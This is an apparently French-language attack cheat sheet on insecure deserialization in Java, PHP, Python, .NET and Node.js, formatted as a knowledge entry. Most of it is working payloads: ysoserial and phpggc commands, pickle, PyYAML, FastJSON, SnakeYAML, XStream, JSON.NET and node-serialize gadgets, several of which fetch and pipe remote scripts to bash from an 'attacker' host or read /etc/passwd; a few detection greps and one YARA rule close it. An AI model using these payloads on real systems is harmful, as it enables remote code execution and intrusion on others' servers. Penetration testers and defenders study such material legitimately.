| name | deserialization-attacks |
| description | Guide complet d'attaque par désérialisation — Java, PHP, Python, .NET, Node.js — outils, payloads et détection |
| category | cybersecurite |
Désérialisation — Attaques Avancées
Principe Général
La désérialisation non sécurisée convertit des données sérialisées en objets sans valider leur intégrité. L'attaquant modifie le flux sérialisé pour instancier des objets arbitraires, menant à RCE, injection ou escalade de privilèges.
Java — Désérialisation
Détection
echo "rO0..." | base64 -d | xxd | head
grep -r "ObjectInputStream" .
grep -r "readObject" .
grep -r "Serializable" .
grep -r "java.io.Serializable" **/*.java
Outils
ysoserial — le couteau suisse:
java -jar ysoserial-all.jar CommonsCollections1 'curl http://attacker/shell.sh|bash'
java -jar ysoserial-all.jar CommonsCollections5 'wget -O /tmp/shell.php http://attacker/shell.php'
java -jar ysoserial-all.jar JRMPClient 'attacker.com:1099'
java -jar ysoserial-all.jar JdbcRowSetImpl 'ldap://attacker.com:1389/Exploit'
ysoserial — Générateurs (gadget chains):
CommonsCollections1-7
CommonsBeanutils1-2
Jdk7u21, Jdk8u20
URLDNS, DNS
JRMPClient, JRMPListener
Hibernate1-2
JBossInterceptors1
Wicket1
Click1
C3P0, C3P02
BeanShell1
Clojure1
Spring1-2
JSON1
Rome, ROME
Fastjson
Blind Deserialization via RMI/JRMP
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'curl http://attacker/'
java -jar ysoserial-all.jar JRMPClient 'attacker.com:1099'
FastJSON Exploitation
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}
SnakeYAML
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker.com/exploit.jar"]]]]
XStream
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.beanshell.remote.BshRemote">
<source>Runtime.exec("curl http://attacker/")</source>
</handler>
</dynamic-proxy>
</sorted-set>
PHP — Désérialisation
Magic Methods Exploitées
__wakeup()
__destruct()
__toString()
__call()
__get()
__sleep()
Détection
grep -r "unserialize" .
grep -r "serialize" .
Exploitation
phpggc Laravel/RCE1 system 'id'
phpggc SwiftMailer/FW1 system 'id'
phpggc CodeIgniter/RCE1 system 'cat /etc/passwd'
class Evil {
public $command = 'id';
public function __destruct() {
system($this->command);
}
}
echo serialize(new Evil());
Phar Deserialization
$phar = new Phar('exploit.phar');
$phar->setMetadata(new Evil());
Python — Désérialisation
Pickle
import pickle
import os
class Evil(object):
def __reduce__(self):
return (os.system, ('curl http://attacker/shell.sh|bash',))
payload = pickle.dumps(Evil())
print(payload.hex())
import base64
print(base64.b64encode(payload).decode())
Détection Python
grep -r "pickle.loads" .
grep -r "pickle.load" .
grep -r "dill.load" .
grep -r "yaml.load" .
grep -r "shelve.open" .
PyYAML
import yaml
yaml.load("!!python/object/new:os.system ['curl http://attacker/']")
!!python/object/apply:subprocess.check_output ['curl http://attacker']
!!python/object/apply:os.popen ['curl http://attacker']
!!python/object/apply:builtins.eval ["__import__('os').system('id')"]
JSONPickle / Others
{"py/reduce": [{"py/type": "subprocess.check_output"}, {"py/tuple": ["id"]}]}
.NET — Désérialisation
Détection
grep -r "BinaryFormatter" .
grep -r "Deserialize" .
grep -r "TypeNameHandling" .
grep -r "JavaScriptSerializer" .
grep -r "JsonConvert" .
Outils
ysoserial.net:
ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "powershell -enc BASe64..."
ysoserial.exe -f LosFormatter -g ActivitySurrogateSelectorFromFile -c "exploit.cs"
ViewState exploitation:
.\ysoserial.exe -p ViewState -g TextBox -c "id" --path="/target.aspx" --generator=EDD7CC1B --viewstateuserkey="supersecret" --validationalg="SHA1" --validationkey="..." --decryptionalg="AES" --decryptionkey="..."
JSON.NET
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": ["cmd", "/c calc.exe"],
"ObjectInstance": {"$type": "System.Diagnostics.Process, System"}
}
Node.js — Désérialisation
node-serialize
var serialize = require('node-serialize');
var payload = {
rce: function(){ require('child_process').exec('id', function(e,o){console.log(o);}); }
};
console.log(serialize.serialize(payload));
Funks like IIFE
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('id', console.log)}()"}
Détection WAF / Blue Team
Indicateurs dans le trafic:
rule java_deserialization {
strings:
$magic = { AC ED 00 05 }
condition:
$magic
}
Ressources